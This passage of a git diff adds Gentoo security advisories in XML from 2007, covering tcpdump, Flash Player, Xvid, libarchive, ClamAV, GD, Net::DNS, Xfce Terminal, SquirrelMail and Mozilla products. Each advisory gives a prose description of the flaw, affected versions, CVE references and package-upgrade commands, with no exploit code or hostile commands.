+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4321">CVE-2007-4321</uri>
+    <uri link="http://www.ossec.net/en/attacking-loganalysis.html#fail2ban">Original advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 03 Jul 2007 22:02:25 +0000">
+    aetius
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 15 Jul 2007 18:12:05 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 15 Jul 2007 18:13:27 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200707-14.xml b/xml/htdocs/security/en/glsa/glsa-200707-14.xml
new file mode 100644
index 00000000..dec9c075
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200707-14.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200707-14">
+  <title>tcpdump: Integer overflow</title>
+  <synopsis>
+    A vulnerability has been discovered in tcpdump, allowing for the execution
+    of arbitrary code, possibly with root privileges.
+  </synopsis>
+  <product type="ebuild">tcpdump</product>
+  <announced>July 28, 2007</announced>
+  <revised>July 28, 2007: 01</revised>
+  <bug>184815</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/tcpdump" auto="yes" arch="*">
+      <unaffected range="ge">3.9.5-r3</unaffected>
+      <vulnerable range="lt">3.9.5-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    tcpdump is a tool for capturing and inspecting network traffic.
+    </p>
+  </background>
+  <description>
+    <p>
+    mu-b from Digital Labs discovered that the return value of a snprintf()
+    call is not properly checked before being used. This could lead to an
+    integer overflow.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send specially crafted BGP packets on a network
+    being monitored with tcpdump, possibly resulting in the execution of
+    arbitrary code with the privileges of the user running tcpdump, which
+    is usually root.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All tcpdump users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/tcpdump-3.9.5-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3798">CVE-2007-3798</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 14 Jul 2007 22:01:53 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 17 Jul 2007 18:00:19 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 17 Jul 2007 18:48:59 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-01.xml b/xml/htdocs/security/en/glsa/glsa-200708-01.xml
new file mode 100644
index 00000000..17f72bcc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-01.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-01">
+  <title>Macromedia Flash Player: Remote arbitrary code execution</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Macromedia Flash Player,
+    allowing for the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">adobe-flash</product>
+  <announced>August 08, 2007</announced>
+  <revised>May 28, 2009: 02</revised>
+  <bug>185141</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-plugins/adobe-flash" auto="yes" arch="*">
+      <unaffected range="ge">9.0.48.0</unaffected>
+      <vulnerable range="lt">9.0.48.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Macromedia Flash Player is a renderer for the popular SWF file type
+    which is commonly used to provide interactive websites, digital
+    experiences and mobile content.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mark Hills discovered some errors when interacting with a browser for
+    keystrokes handling (CVE-2007-2022). Stefano Di Paola and Giorgio Fedon
+    from Minded Security discovered a boundary error when processing FLV
+    files (CVE-2007-3456). An input validation error when processing HTTP
+    referrers has also been reported (CVE-2007-3457).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted file,
+    possibly leading to the execution of arbitrary code with the privileges
+    of the user running the Macromedia Flash Player, or sensitive data
+    access.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Macromedia Flash Player users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-plugins/adobe-flash-9.0.48.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2022">CVE-2007-2022</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3456">CVE-2007-3456</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3457">CVE-2007-3457</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 15 Jul 2007 10:35:19 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 24 Jul 2007 09:40:21 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 24 Jul 2007 09:40:28 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-02.xml b/xml/htdocs/security/en/glsa/glsa-200708-02.xml
new file mode 100644
index 00000000..54659680
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-02.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-02">
+  <title>Xvid: Array indexing vulnerabilities</title>
+  <synopsis>
+    Several array indexing vulnerabilities were discovered in Xvid, possibly
+    allowing for the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">xvid</product>
+  <announced>August 08, 2007</announced>
+  <revised>August 08, 2007: 01</revised>
+  <bug>183145</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xvid" auto="yes" arch="*">
+      <unaffected range="ge">1.1.3</unaffected>
+      <vulnerable range="lt">1.1.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Xvid is a popular open source video codec licensed under the GPL.
+    </p>
+  </background>
+  <description>
+    <p>
+    Trixter Jack discovered an array indexing error in the
+    get_intra_block() function in the file src/bitstream/mbcoding.c. The
+    get_inter_block_h263() and get_inter_block_mpeg() functions in the same
+    file were also reported as vulnerable.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit these vulnerabilities to execute arbitrary
+    code by tricking a user or automated system into processing a malicious
+    video file with an application that makes use of the Xvid library.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Xvid users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/xvid-1.1.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3329">CVE-2007-3329</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 14 Jul 2007 21:54:33 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 15 Jul 2007 18:56:27 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 16 Jul 2007 07:58:51 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-03.xml b/xml/htdocs/security/en/glsa/glsa-200708-03.xml
new file mode 100644
index 00000000..16d8a6d1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-03.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-03">
+  <title>libarchive (formerly named as bsdtar): Multiple PaX Extension Header Vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were found in libarchive (formerly named as
+    app-archive/bsdtar), possibly allowing for the execution of arbitrary code
+    or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">libarchive</product>
+  <announced>August 08, 2007</announced>
+  <revised>August 08, 2007: 02</revised>
+  <bug>184984</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/libarchive" auto="yes" arch="*">
+      <unaffected range="ge">2.2.4</unaffected>
+      <vulnerable range="lt">2.2.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libarchive is a library for manipulating different streaming archive
+    formats, including certain tar variants, several cpio formats, and both
+    BSD and GNU ar variants.
+    </p>
+  </background>
+  <description>
+    <p>
+    CPNI, CERT-FI, Tim Kientzle, and Colin Percival reported a buffer
+    overflow (CVE-2007-3641), an infinite loop (CVE-2007-3644), and a NULL
+    pointer dereference (CVE-2007-3645) within the processing of archives
+    having corrupted PaX extension headers.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker can trick a user or automated system to process an archive
+    with malformed PaX extension headers into execute arbitrary code, crash
+    an application using the library, or cause a high CPU load.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libarchive or bsdtar users should upgrade to the latest libarchive
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/libarchive-2.2.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3641">CVE-2007-3641</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3644">CVE-2007-3644</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3645">CVE-2007-3645</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 15 Jul 2007 10:30:41 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 15 Jul 2007 19:19:38 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 17 Jul 2007 17:56:39 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-04.xml b/xml/htdocs/security/en/glsa/glsa-200708-04.xml
new file mode 100644
index 00000000..a66f2d49
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-04.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-04">
+  <title>ClamAV: Denial of Service</title>
+  <synopsis>
+    A vulnerability has been discovered in ClamAV, allowing for a Denial of
+    Service.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>August 09, 2007</announced>
+  <revised>August 09, 2007: 01</revised>
+  <bug>185013</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.91</unaffected>
+      <vulnerable range="lt">0.91</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ClamAV is a GPL virus scanner.
+    </p>
+  </background>
+  <description>
+    <p>
+    Metaeye Security Group reported a NULL pointer dereference in ClamAV
+    when processing RAR archives.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted RAR archive to the
+    clamd daemon, resulting in a crash and a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.91&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3725">CVE-2007-3725</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 29 Jul 2007 22:16:39 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 04 Aug 2007 17:18:26 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 04 Aug 2007 17:18:43 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-05.xml b/xml/htdocs/security/en/glsa/glsa-200708-05.xml
new file mode 100644
index 00000000..3db531df
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-05.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-05">
+  <title>GD: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in GD, allowing for the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">gd</product>
+  <announced>August 09, 2007</announced>
+  <revised>August 09, 2007: 01</revised>
+  <bug>179154</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/gd" auto="yes" arch="*">
+      <unaffected range="ge">2.0.35</unaffected>
+      <vulnerable range="lt">2.0.35</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GD is a graphic library for fast image creation.
+    </p>
+  </background>
+  <description>
+    <p>
+    Xavier Roche discovered an infinite loop in the gdPngReadData()
+    function when processing a truncated PNG file (CVE-2007-2756). An
+    integer overflow has been discovered in the gdImageCreateTrueColor()
+    function (CVE-2007-3472). An error has been discovered in the function
+    gdImageCreateXbm() function (CVE-2007-3473). Unspecified
+    vulnerabilities have been discovered in the GIF reader (CVE-2007-3474).
+    An error has been discovered when processing a GIF image that has no
+    global color map (CVE-2007-3475). An array index error has been
+    discovered in the file gd_gif_in.c when processing images with an
+    invalid color index (CVE-2007-3476). An error has been discovered in
+    the imagearc() and imagefilledarc() functions when processing overly
+    large angle values (CVE-2007-3477). A race condition has been
+    discovered in the gdImageStringFTEx() function (CVE-2007-3478).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit one of these vulnerabilities to cause a
+    Denial of Service or possibly execute arbitrary code with the
+    privileges of the user running GD.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GD users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/gd-2.0.35&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2756">CVE-2007-2756</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3472">CVE-2007-3472</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3473">CVE-2007-3473</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3474">CVE-2007-3474</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3475">CVE-2007-3475</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3476">CVE-2007-3476</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3477">CVE-2007-3477</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3478">CVE-2007-3478</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 20 Jul 2007 21:01:20 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 31 Jul 2007 09:13:14 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 31 Jul 2007 09:13:30 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-06.xml b/xml/htdocs/security/en/glsa/glsa-200708-06.xml
new file mode 100644
index 00000000..e3f71c46
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-06.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-06">
+  <title>Net::DNS: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in the Net::DNS Perl module,
+    allowing for a Denial of Service and a cache poisoning attack.
+  </synopsis>
+  <product type="ebuild">net-dns</product>
+  <announced>August 11, 2007</announced>
+  <revised>August 11, 2007: 01</revised>
+  <bug>184029</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-perl/Net-DNS" auto="yes" arch="*">
+      <unaffected range="ge">0.60</unaffected>
+      <vulnerable range="lt">0.60</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Net::DNS is a Perl implementation of a DNS resolver.
+    </p>
+  </background>
+  <description>
+    <p>
+    hjp discovered an error when handling DNS query IDs which make them
+    partially predictable. Steffen Ullrich discovered an error in the
+    dn_expand() function which could lead to an endless loop.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted DNS request to the
+    server which could result in a Denial of Service with an infinite
+    recursion, or perform a cache poisoning attack.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Net::DNS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-perl/Net-DNS-0.60&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3377">CVE-2007-3377</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3409">CVE-2007-3409</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 16 Jul 2007 13:12:37 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 25 Jul 2007 05:32:52 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 30 Jul 2007 09:51:53 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-07.xml b/xml/htdocs/security/en/glsa/glsa-200708-07.xml
new file mode 100644
index 00000000..d3fe6ab7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-07.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-07">
+  <title>Xfce Terminal: Remote arbitrary code execution</title>
+  <synopsis>
+    A vulnerability has been discovered in the Xfce Terminal program, allowing
+    for the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">terminal</product>
+  <announced>August 11, 2007</announced>
+  <revised>July 12, 2008: 02</revised>
+  <bug>184886</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-terms/terminal" auto="yes" arch="*">
+      <unaffected range="ge">0.2.6_p25931</unaffected>
+      <vulnerable range="lt">0.2.6_p25931</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Xfce Terminal is a console tool for the Xfce desktop environment.
+    </p>
+  </background>
+  <description>
+    <p>
+    Lasse Karkkainen discovered that the function terminal_helper_execute()
+    in file terminal-helper.c does not properly escape the URIs before
+    processing.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted link,
+    possibly leading to the remote execution of arbitrary code with the
+    privileges of the user running Xfce Terminal. Note that the exploit
+    code depends on the browser used to open the crafted link.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Xfce Terminal users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-terms/terminal-0.2.6_p25931&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3770">CVE-2007-3770</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 28 Jul 2007 07:40:26 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 28 Jul 2007 07:40:36 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 31 Jul 2007 08:48:45 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-08.xml b/xml/htdocs/security/en/glsa/glsa-200708-08.xml
new file mode 100644
index 00000000..bdd5615f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-08.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-08">
+  <title>SquirrelMail G/PGP plugin: Arbitrary code execution</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in SquirrelMail, allowing for
+    the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">squirrelmail</product>
+  <announced>August 11, 2007</announced>
+  <revised>August 11, 2007: 01</revised>
+  <bug>185010</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/squirrelmail" auto="yes" arch="*">
+      <unaffected range="ge">1.4.10a-r2</unaffected>
+      <vulnerable range="lt">1.4.10a-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SquirrelMail is a webmail package written in PHP. It supports IMAP and
+    SMTP protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    The functions deletekey(), gpg_check_sign_pgp_mime() and gpg_recv_key()
+    used in the SquirrelMail G/PGP encryption plugin do not properly escape
+    user-supplied data.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An authenticated user could use the plugin to execute arbitrary code on
+    the server, or a remote attacker could send a specially crafted e-mail
+    to a SquirrelMail user, possibly leading to the execution of arbitrary
+    code with the privileges of the user running the underlying web server.
+    Note that the G/PGP plugin is disabled by default.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Enter the SquirrelMail configuration directory
+    (/usr/share/webapps/squirrelmail/version/htdocs/config), then execute
+    the conf.pl script. Select the plugins menu, then select the gpg plugin
+    item number in the "Installed Plugins" list to disable it. Press S to
+    save your changes, then Q to quit.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SquirrelMail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/squirrelmail-1.4.10a-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1924">CVE-2005-1924</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4169">CVE-2006-4169</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 20 Jul 2007 20:59:21 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 23 Jul 2007 13:21:57 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 23 Jul 2007 13:22:43 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-09.xml b/xml/htdocs/security/en/glsa/glsa-200708-09.xml
new file mode 100644
index 00000000..3c00063a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-09.xml
@@ -0,0 +1,153 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-09">
+  <title>Mozilla products: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in Mozilla Firefox,
+    Thunderbird, SeaMonkey and XULRunner, some of which may allow user-assisted
+    arbitrary remote code execution.
+  </synopsis>
+  <product type="ebuild">mozilla-firefox,mozilla-firefox-bin,seamonkey,seamonkey-bin,mozilla-thunderbird,mozilla-thunderbird-bin,xulrunner</product>
+  <announced>August 14, 2007</announced>
+  <revised>August 14, 2007: 01</revised>
+  <bug>185737</bug>
+  <bug>187205</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.6</unaffected>
+      <vulnerable range="lt">2.0.0.6</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.6</unaffected>
+      <vulnerable range="lt">2.0.0.6</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.6</unaffected>
+      <vulnerable range="lt">2.0.0.6</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.6</unaffected>
+      <vulnerable range="lt">2.0.0.6</vulnerable>
+    </package>
+    <package name="www-client/seamonkey" auto="yes" arch="*">
+      <unaffected range="ge">1.1.4</unaffected>
+      <vulnerable range="lt">1.1.4</vulnerable>
+    </package>
+    <package name="www-client/seamonkey-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.1.4</unaffected>
+      <vulnerable range="lt">1.1.4</vulnerable>
+    </package>
+    <package name="net-libs/xulrunner" auto="yes" arch="*">
+      <unaffected range="ge">1.8.1.6</unaffected>
+      <vulnerable range="lt">1.8.1.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is an open-source web browser from the Mozilla Project,
+    and Mozilla Thunderbird an email client. The SeaMonkey project is a
+    community effort to deliver production-quality releases of code derived
+    from the application formerly known as the 'Mozilla Application Suite'.
+    XULRunner is a Mozilla runtime package that can be used to bootstrap
+    XUL+XPCOM applications like Firefox and Thunderbird.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mozilla developers fixed several bugs, including an issue with
+    modifying XPCNativeWrappers (CVE-2007-3738), a problem with event
+    handlers executing elements outside of the document (CVE-2007-3737),
+    and a cross-site scripting (XSS) vulnerability (CVE-2007-3736). They
+    also fixed a problem with promiscuous IFRAME access (CVE-2007-3089) and
+    an XULRunner URL spoofing issue with the wyciwyg:// URI and HTTP 302
+    redirects (CVE-2007-3656). Denials of Service involving corrupted
+    memory were fixed in the browser engine (CVE-2007-3734) and the
+    JavaScript engine (CVE-2007-3735). Finally, another XSS vulnerability
+    caused by a regression in the CVE-2007-3089 patch was fixed
+    (CVE-2007-3844).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to view a specially crafted web
+    page that will trigger one of the vulnerabilities, possibly leading to
+    the execution of arbitrary code or a Denial of Service. It is also
+    possible for an attacker to perform cross-site scripting attacks, which
+    could result in the exposure of sensitive information such as login
+    credentials.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-2.0.0.6&quot;</code>
+    <p>
+    All Mozilla Firefox binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-2.0.0.6&quot;</code>
+    <p>
+    All Mozilla Thunderbird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
